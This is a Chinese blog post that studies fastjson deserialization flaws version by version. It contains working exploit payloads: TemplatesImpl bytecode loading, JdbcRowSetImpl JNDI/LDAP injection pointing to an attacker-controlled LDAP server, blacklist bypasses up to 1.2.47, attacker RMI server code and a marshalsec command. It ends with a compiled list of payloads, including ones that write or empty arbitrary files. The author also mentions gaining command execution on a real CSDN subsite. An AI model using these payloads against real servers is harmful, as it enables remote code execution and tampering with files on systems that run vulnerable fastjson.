FastJson学习

 
实战中遇到了不少,现在特地学习一下
 
fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
由于其特点是快,以性能为优势快速占领了大量用户,并且其 API 十分简洁,用户量十分庞大,这也就导致了这样的组件一旦爆出漏洞,危害也将会是巨大的,因此,fastjson 从第一次报告安全漏洞至今,进行了若干次的安全更新,也与安全研究人员进行了来来回回多次的安全补丁-绕过的流程。
 

FastJson简单使用学习

 
简单学习了一下使用
 
User.java
 

package FastJsonDemo;

public class User {
    private String username;
    private String password;
    public User(){}
    public User(String name, String pass){
        this.username=name;
        this.password=pass;
    }
    public String getUsername(){
        return username;
    }
    public void setUsername(String user){
        this.username=user;
    }
    public String getPassword(){
        return password;
    }
    public void setPassword(String pass){
        this.password=pass;
    }
    @Override
    public String toString(){
        return "User [username=" + username + ", password=" + password + "]";
    }
}

 
UserGroup.java
 

package FastJsonDemo;

import java.util.ArrayList;
import java.util.List;

public class UserGroup {
    private String name;
    private List<User> users=new ArrayList<User>();
    public  UserGroup(){}
    public UserGroup(String name,List<User> user){
        this.name=name;
        this.users=user;
    }
    public String getName(){
        return name;
    }
    public void setName(String name){
        this.name=name;
    }
    public List<User> getUsers(){
        return users;
    }
    public void setUsers(List<User> test){
        this.users=test;
    }
    @Override
    public String toString(){
        return "UserGroup [name=" + name + ", users=" + users + "]";
    }

}

 
Main.java
 

package FastJsonDemo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {
        Main test = new Main();
        test.ObjectToJson();
        test.JsonToObject();
    }
    /*
    Java对象转为 Json字符串
     */
    public  void ObjectToJson(){
        //Java类转Json字符串
        User user= new User("Mikasa","admin");
        String UserJson = JSON.toJSONString(user);//转换
        System.out.println("简单Java类转Json字符串:"+UserJson);
        //List<Object>转json字符串

        User user1= new User("test1","test");
        User user2 = new User("test2","test");
        List<User> users = new ArrayList<User>();
        users.add(user1);
        users.add(user2);
        String ListUserJson = JSON.toJSONString(users);
        System.out.println("List<Object>转字符串:"+ListUserJson);

        //复杂Java类转Json字符串
        UserGroup userGroup = new UserGroup("administrator",users);
        String userGroupJson = JSON.toJSONString(userGroup);
        System.out.println("复杂java类转json字符串:"+userGroupJson);
    }
    /*
    Json字符串转Java对象
     */
    public  void JsonToObject(){
        /*
        * Json字符串转简单Java对象, 字符串: {"password":"123456","username":"demo"}
        * */
        String JsonStr1= "{'password':'123456','username':'demo'}";
        User user= JSON.parseObject(JsonStr1,User.class);
        System.out.println(user);

        /*
        Json字符串转List<Object>对象
         */
        String JsonStr2="[{'password':'123123','username':'zhangsan'},{'password':'321321','username':'lisi'}]";
        List<User> users = JSON.parseArray(JsonStr2,User.class);
        System.out.println(users);
        /*
        Json字符串转复杂对象
         */
        String JsonStr3 ="{'name':'userGroup','users':[{'password':'123123','username':'zhangsan'},{'password':'321321','username':'lisi'}]}";
        UserGroup userGroup = JSON.parseObject(JsonStr3,UserGroup.class);
        System.out.println(userGroup);
    }

}

 
注意一点:使用FastJson序列化是,对象的函数要使用驼峰命名法,不然的话就是{},这里面遇到了这个小坑
 

 

 
其他一些关于FastJson的信息
 
https://su18.org/post/fastjson/#1-fastjson-1224
 

fastjson-1.2.24

 

摘要

在2017年3月15日,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞
 

影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。

 

触发点TemplatesImpl反序列化

 
该类位于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
 
实现了 Serializable 接口
 

 
其成员变量 _class 是一个,Classs 的数组
 

 
其数组下标为 _transletIndex 的类在 getTransletInstance 中被实例化
 

 
在这个类中的 getOutputProperties 方法调用 newTransformer 方法
 

 
newTransformer 方法又调用了 getTransletInstance 方法
 

 
getOutputProperties 方法是类成员变量的 _outputProperties 的getter方法
 
因此我们这里面的调用链为
 

parse()->getOutputProperties()->newTransformer()->getTransletInstance()

 
接下来我们就要查看 _class 数组中的类我们是否可以控制,发现我们找不到 _class 变量的 getter以及setter方法,但是一个数值不可能就这样空着,在其他的地方肯定有赋值操作
 
发现在其构造函数以及 readObjectdefineTransletClasses 中均有赋值
 

 

 

 
其中 defineTransletClasses 调用于 getTransletInstance (还有很多地方也调用了,这里面使用是因为getTransletInstance最方便就在原来的链中)
 

 
调用 defineTransletClasses 之后就创建实例
 
进入 defineTransletClasses 看看
 

 
首先要求 _bytecodes 不为 null,接着调用自定义的 ClassLoader 去加载 _bytecodes 中的 byte[] 。而 _bytecodes 也是该类的成员属性,调用 setTransletBytecodes 方法去设置,是一个setter
 

 
接着将从 _bytecodes[i] 加载的类赋值给 _class,但是我们要的是 _class[_transletIndex] ,这个值默认是 -1 ,显然调用不到
 

 
后面循环判断每个类的父类是否是 ABSTRACT_TRANSLET ,是的话那么就会将 _transletIndex 设置为该类的下标
 

 
因此我们需要找到一个父类是 ABSTRACT_TRANSLET 的可用的类
 
完整的利用链为
 

1.构造一个TemplatesImpl类的反序列化字符串,其中 _bytecodes 是我们构造的恶意类的类字节码,这个类的父类是 AbstractTranslet,最终这个类会被载并使用 newInstance() 实例化
2.在反序列化过程中,由于getter方法 getOutputProperties(),满足条件,将会被 fastjson 调用,而这个方法触发了整个漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()

 
其中,为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null ,_tfactory 不为 null 。
 
由于部分需要我们更改的私有变量没有 setter 方法,需要使用 Feature.SupportNonPublicField 参数(_tfactory变量)。
 
Payload为
 

{
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": ["yv66vgAAADQA...CJAAk="],
    "_name": "xxx",
    "_tfactory": {},
    "_outputProperties": {},
}

 
一些反序列化的细节
 
https://paper.seebug.org/636/
 

Exp编写

 
随便写一个Java继承 AbstractTranslet ,实现其接口方法后,在构造函数中写好我们要实现的功能
 

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;

import java.io.IOException;

public class TemplatesImpl1224 extends AbstractTranslet {
    public TemplatesImpl1224() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException{
        TemplatesImpl1224 test = new TemplatesImpl1224();
    }
}

 
编译为 Class文件,然后读取其字节码Base64编码即可(FastJson对_bytecodes有base64解码的操作)
 

 
 

package exp;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import sun.nio.ch.IOUtil;

import java.io.*;

public class TemplatesImpl1224Poc{
    public static void main(String[] args) {
        //生成的Class文件的路径
        String EvilClass = "/Volumes/DATA/test/java/FastJsonDemo/target/classes/TemplatesImpl1224.class";
        String evilStr=ReadClass(EvilClass);
        System.out.println("Poc为:");
        String Poc= "{\"@type\":\"" + "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" +
                "\",\"_bytecodes\":[\""+evilStr+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(Poc);
    }
    public static String ReadClass(String cls){
        ByteArrayOutputStream bos  = new ByteArrayOutputStream();
        try{
            IOUtils.copy(new FileInputStream(new File(cls)),bos);
        }catch (Exception e){
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }
}

 

 
测试一下看看
 

 

 
成功执行
 
Pom中依赖配置为
 

 <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.3</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.10</version>
        </dependency>
    </dependencies>

 
该方法有很明显的缺点: 若其反序列化中未配置 Feature.SupportNonPublicField 就GG了,是 _tfactory 变量的问题(该成员对象没有setter方法)
 

 

 

JdbcRowSetImpl 反序列化

 
JdbcRowSetImpl 类位于 com.sun.rowset.JdbcRowSetImpl
 
首先看一下 setAutoCommit 方法
 

 
this.conn 为null的时候会调用 connect 方法
 

 
该方法里调用了 javax.naming.InitialContext#lookup() 参数从成员变量 dataSource 中获取
 
故存在JNDI注入
 

JNDI注入(RMI+JNDI Reference)

 
首先需要了解RMI相关知识,这里不再赘述
 
根据RMI的知识可知:
是RMI服务器最终执行远程方法,在将结果返回给客户端,显然与我们的理解相背驰,这里面其实利用的是 JNDI References 详情可以参考:
 
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
 
 
做一个简单的小测试
 
Client.java(受害者)
 

package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;

public class Client {
    public static void main(String[] args) throws Exception{
        String uri = "";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

 
Server.java(攻击者)
 

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws  Exception{
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("ExecTest","ExecTest","http://127.0.0.1:8081/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(aa);
        System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
        registry.bind("aa",referenceWrapper);
    }
}

 
最后是我们的恶意Class文件
 

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
    public ExecTest() throws IOException,InterruptedException{
        String cmd="whoami";
        final Process process = Runtime.getRuntime().exec(cmd);
        printMessage(process.getInputStream());;
        printMessage(process.getErrorStream());
        int value=process.waitFor();
        System.out.println(value);
    }

    private static void printMessage(final InputStream input) {
        // TODO Auto-generated method stub
        new Thread (new Runnable() {
            @Override
            public void run() {
                // TODO Auto-generated method stub
                Reader reader =new InputStreamReader(input);
                BufferedReader bf = new BufferedReader(reader);
                String line = null;
                try {
                    while ((line=bf.readLine())!=null)
                    {
                        System.out.println(line);
                    }
                }catch (IOException  e){
                    e.printStackTrace();
                }
            }
        }).start();
    }
}

 
编译完后部署在http服务器上
 

javac ExecTest.java
python3 -m http.server 8081

 
运行 Client 以及 Server 即可
 
但是因为我的Java的JDK版本过高,存在 com.sun.jndi.rmi.object.trustURLCodebase 限制,这种方法客户端版本需要小于 8u121 才能利用
 

 

 
这里附一张绕过图 https://blog.csdn.net/caiqiiqi/article/details/105951247
 

 
问题不大安装一个在范围的JDK即可
 
 

 
当然我们自己搭建 JNDI 的话有点麻烦,有一些现成的工具可以使用
 
https://github.com/mbechler/marshalsec
 

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8081/\#ExecTest 8088

 
起一个Rmi服务器,并且指定RMI端口为8088, http://127.0.0.1:8081/\#ExecTest 则是我们部署的恶意Class
 

 

 

FastJson的Exp

 
回到我们的 FastJson ,我们看看完成这个攻击需要什么,首先是 setAutoCommit 这个setter,因此要对 AutoCommit 赋值,然后是 dataSource 这个成员变量,从这里面取出RMI地址,因此我们也需要赋值
 

 

 
故Exp为
 

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 

 
成功了
 

LDAP+JNDI

 
之前说过JNDI注入的是有版本限制的,于是这里面采用 LDAP+JNDI 的方式(也有版本限制,不过较JNDI范围广一点),以后渗透过程中就主要尝试 LDAP-JNDI 注入,命中率更高一点
 
步骤都一样
 

 

 
后记:后面通过这个漏洞测出来了CSDN某分站有命令执行~
 

FastJson-1.2.25

 
摘要
 
在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson也提供了添加黑名单的接口
 

影响版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。

 
FastJson的更新主要位于 com.alibaba.fastjson.parser.ParserConfig
 

 
其中多了这几个成员变量
 
autoTypeSupport 用来标识是否开启任意类型的反序列化,并且默认关闭,字符数组 denyList 是反序列化的黑名单, acceptList 是反序列化白名单
 
这些在类实例化的时候会被设置
 

 
其中黑名单包括
 

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

 
添加白名单有三种方法
 

1.使用代码进行添加:ParserConfig.getGlobalInstance().addAccept("org.test.fastjson.,org.javaweb")
2.加上JVM启动参数: -Dfastjson.parser.autoTypeAccept=org.test.fastjson
3.在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.test.fastjson

 
看一下 checkAutoType
 

 
若开启了 autoType ,先判断类名是否在白名单中,如果在,就使用TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常
 
若没有开启 autoType
 

 
则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载
 

 
跟一下 loadClass
 
这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [、L、; 字符
 
因此就在这个位置出现了逻辑漏洞,攻击者可以使用带有描述符的类绕过黑名单的限制,而在类加载过程中,描述符还会被处理掉。因此,漏洞利用的思路就出来了:需要开启 autoType,使用以上字符来进行黑名单的绕过
 
最终的 payload 其实就是在之前的 payload 类名上前后加上L和;即可:
 

{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 
测试一下:
 

 

 
值得注意的是由于是 TypeUtils.loadClass 的缺陷,因此在其他的版本也可以使用(例如1.2.24)
 

 

FastJson-1.2.42

 
在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。
 

影响版本:1.2.25 <= fastjson <= 1.2.42
描述:一点也不坦诚,学学人家 jackson,到现在还是明文黑名单。而且到目前为止很多类已经被撞出来了。

 
还是关注 com.alibaba.fastjson.parser.ParserConfig 这个类
 

 
采用Hash的方式
 

 
并且在 checkAutoType 中加入判断,如果类的第一个字符是 L 结尾是 ;,则使用 substring进行了去除(去掉首位和末尾)
 

 
直接双写就能绕过了....
 

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 

 
同样该Payload也能在低版本中使用(1.2.24或者之前的1.2.25)
 

 

小总结

 
从这可以看出,只要我们前面 L; 数量相同,那么利用 TypeUtils.loadClass 回调的缺陷,就能反序列化 com.sun.rowset.JdbcRowSetImpl
 
例如这里
 

 
五个对应的 L; 也是可以的
 
因此得出结论在 fastjson <= 1.2.42 环境下,这种方式是通用的
 

fastjson-1.2.43

 
该版本主要修复上一个版本中双写绕过的问题
 

影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L、; 被进行了限制后,安全研究人员将目光转向了 [

 
checkAutoType
 

 
判断如果类名连续出现了两个 L 将会抛出异常
 
但是我们查看 TypeUtils.loadClass 的源码发现
 

 
也对 [ 进行了回调,因此我们可以利用 [ 绕过,并且前面没有对 [ 进行过修补,因此我们甚至都不需要双写,最后调试可以得到Payload
 

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
    {"dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 

 
测试了一下该Payload在其他的版本都可用
 

 

fastjson-1.2.44

 
这个版本主要是修复上一个版本中使用 [ 绕过黑名单防护的问题。
 

影响版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本将 [ 也进行修复了之后,由字符串处理导致的黑名单绕过也就告一段落了。

 

 

fastjson-1.2.45

 
首先需要目标服务端存在 mybatis 的jar包,且版本为3.x.x系列 < 3.5.0 的版本
 
我们先看一下Poc
 

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

 

 
可以看到在 setProperties 这个setter中调用了 lookup() 方法,但是我们控制的 JNDI 服务器地址在 Properties 这里面,跟进去看看
 

 
有个 setProperty 函数因此我们可以修改其成员变量,再看看前面
 

 
需要的正是 data_source
 
因此可以达成我们的攻击条件
 

 
测试在其他版本也可使用 (1.2.24等)
 

FastJson-1.2.47

 
在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。
 

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport可以利用
影响版本:1.2.33 <= fastjson <= 1.2.47 无论是否开启AutoTypeSupport,都能成功利用

 
漏洞仍然在 checkAutoType()
 

首先判断类名非空,类名长度判断,不大于128不小于3,类名以 [ 开头抛出异常,类名以 L 开头以 ; 结尾抛出异常
 

 
autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项,在对比 denyHashCodes 进行黑名单匹配,如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类则抛出异常
 
 

 
尝试在 TypeUtils.mappings 中查找缓存的 class,尝试在 deserializers 中查找这个类,如果找到了对应的 class,则会进行 return
 

 
如果没有开启 AutoTypeSupport,则先匹配黑名单,与之前逻辑一致
 

 
如果class还未空,则使用 TypeUtils.loadClass 尝试加载这个类
 
这里面存在一个逻辑问题: autoTypeSupport 为 true时,fastjson也会禁止一些黑名单的类反序列化,但是有一个判断条件: 当反序列化的类在黑名单中,且 TypeUtils.mappings 中没有该类的缓存时,才会抛出异常。这里就留下了一个伏笔。就是这个逻辑导致了 1.2.32 之前的版本将会受到 autoTypeSupport 的影响。
 

 
在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以我们的关注点就在判断之前,程序有在 TypeUtils.mappings 中和 deserializers 中尝试查找要反序列化的类,如果找到了,则就会 return,这就避开下面 autoTypeSupport 默认为 false 时的检查。如何才能在这两步中将我们的恶意类加载进去呢?
 
先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:
 

 

getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
putDeserializer():被前两个函数调用,我们无法控制入参。

 
此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)
 
同样的,这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,能向其中赋值的函数有:
 

addBaseClassMappings():无入参,加载
loadClass():关键函数

 
跟进去 loadClass
 

 
先进行非空判断,防止重复添加,在判断className 是否以 [ 开头,以及className 是否 L 开头 ; 结尾.如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中。
 

 
如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
 
如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
 
由上可知,只要我们能够控制这个方法的参数,就可以往 mappings 中写入任意类名。
 
loadClass 一共三个重载方法
 

 
我们需要找到调用这些方法的类,并看是否能够为我们控制:

Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):调用链均在 checkAutoType() 和 TypeUtils 里自调用
Class<?> loadClass(String className):除了自调用,有一个 castToJavaBean() 方法
Class<?> loadClass(String className, ClassLoader classLoader):方法调用三个参数的重载方法,并添加参数 true ,也就是会加入参数缓存中

 
重点看一下两个参数的 loadClass 方法在哪调用
 

 
在这里我们关注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,成为了我们的入口
 

 
如果 parser.resolveStatus 为TypeNameRedirect 时,进入 if 语句,会解析 “val” 中的内容放入 objVal 中,然后传入 strVal 中。
 

 
后面的逻辑如果 class 是 Class.class 时,将会调用 loadClass 方法,将 strVal 进行类加载并缓存:
 

 
 
Exp为
 

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:23457/Command8",
        "autoCommit": true
    }
}

 
 

 
我们Debug一下
 

 
初始化 ParserConfig

 

 
初始化过程中 deserializersClass.class 进行了加载
 

 
调用 checkAutoType 对类名进行检查
 

 
未开启 AutoType 进入 deserializers.findClass
 

 
由于在初始化时候载入了 Class.class ,因此clazz返回不为 null
 
后面直接返回函数值,绕过了未开启 AutoType 为False的检查
 

 
根据不同的 class 类型分配 deserialzer,Class 类型由 MiscCodec.deserialze() 处理
 

 
解析 json 中 var 中的内容,并放入 objVal 中, 如果不是 Val 将会报错
 

 
后面调用 TypeUtils.loadClass 加载并且缓存,此时恶意的 val 成功被我们加载到 mappings 中,再次以恶意类进行 @type 请求时即可绕过黑名单进行的阻拦,因此最终
 

 

不愧是FastJson最严重的漏洞,在很多低版本都可以使用
 
低版本基本都可以用
 

 

 

fastjson-1.2.68

 
待续
 

FastJson的Payload

 
按照前面的经验我们可以总结出一些最常用的Payload
 

com.sun.rowset.JdbcRowSetImpl

 
com.sun.rowset.JdbcRowSetImpl 反序列化(1.2.24)
 

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 
com.sun.rowset.JdbcRowSetImpl 反序列化(1.2.24 <= fastjson <= 1.2.41)
 

{
    "@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 
com.sun.rowset.JdbcRowSetImpl 反序列化(1.2.24 <= fastjson <= 1.2.43)
 

{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 
com.sun.rowset.JdbcRowSetImpl 反序列化(1.2.24 <= fastjson <= 1.2.44)
 

{
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
    {"dataSourceName":"ldap://127.0.0.1:23457/Command8",
    "autoCommit":true
}

 

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

 
需要依赖包Mybatis 3.x.x系列 < 3.5.0
 
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 反序列化(1.2.24 <= fastjson <= 1.2.45)
 

{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"ldap://127.0.0.1:23457/Command8"
    }
}

 

1.2.47逻辑漏洞

 

影响版本: 1.2.24
影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport可以利用
影响版本:1.2.33 <= fastjson <= 1.2.47 无论是否开启AutoTypeSupport,都能成功利用

 

{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://127.0.0.1:23457/Command8",
        "autoCommit": true
    }
}

 

其他有关的Payload(未测试)

 
SimpleJndiBeanFactory
 

{
    "@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
    "targetBeanName": "ldap://127.0.0.1:23457/Command8",
    "propertyPath": "su18",
    "beanFactory": {
      "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
      "shareableResources": [
        "ldap://127.0.0.1:23457/Command8"
      ]
    }
}

 
DefaultBeanFactoryPointcutAdvisor
 

{
  "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
   "beanFactory": {
     "@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
     "shareableResources": [
       "ldap://127.0.0.1:23457/Command8"
     ]
   },
   "adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
   "@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

 
WrapperConnectionPoolDataSource
 

{
    "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
    "userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
  }

 
JndiRefForwardingDataSource
 

{
    "@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
    "jndiName": "ldap://127.0.0.1:23457/Command8",
    "loginTimeout": 0
  }

 
InetAddress
 

{
    "@type": "java.net.InetAddress",
    "val": "http://dnslog.com"
}

 
Inet6Address
 

{
    "@type": "java.net.Inet6Address",
    "val": "http://dnslog.com"
}

 
URL
 

{
    "@type": "java.net.URL",
    "val": "http://dnslog.com"
}

 
JSONObject
 

{
    "@type": "com.alibaba.fastjson.JSONObject",
    {
        "@type": "java.net.URL",
        "val": "http://dnslog.com"
    }
}
""
}

 
URLReader
 

{
    "poc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.alibaba.fastjson.JSONReader",
        "reader": {
            "@type": "jdk.nashorn.api.scripting.URLReader",
            "url": "http://127.0.0.1:9999"
        }
    }
}

 
AutoCloseable 任意文件写入
 

{
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
    "out": {
        "@type": "java.io.FileOutputStream",
        "file": "/path/to/target"
    },
    "parameters": {
        "@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
        "filename": "filecontent"
    }
}

 
BasicDataSource
 

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
  "driverClassLoader" :
  {
    "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
  }
}

 
JndiConverter(fastjson<=1.2.62)
 

{
    "@type": "org.apache.xbean.propertyeditor.JndiConverter",
    "AsText": "ldap://127.0.0.1:23457/Command8"
}

 
JtaTransactionConfig(fastjson<=1.2.66),autoTypeSupport属性为true才能使
 

{
    "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
    "properties": {
        "@type": "java.util.Properties",
        "UserTransaction": "ldap://127.0.0.1:23457/Command8"
    }
}

 
JndiObjectFactory(fastjson<=1.2.66),autoTypeSupport属性为true才能使
 

{
    "@type": "org.apache.shiro.jndi.JndiObjectFactory",
    "resourceName": "ldap://127.0.0.1:23457/Command8"
}

 
AnterosDBCPConfig(fastjson<=1.2.66),autoTypeSupport属性为true才能使
 

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

 
AnterosDBCPConfig2
 

{
    "@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
    "healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

 
CacheJndiTmLookup(fastjson<=1.2.66),autoTypeSupport属性为true才能使
 

{
    "@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
    "jndiNames": "ldap://127.0.0.1:23457/Command8"
}

 
AutoCloseable 清空指定文件
 

{
    "@type":"java.lang.AutoCloseable",
    "@type":"java.io.FileOutputStream",
    "file":"/tmp/nonexist",
    "append":false
}

 
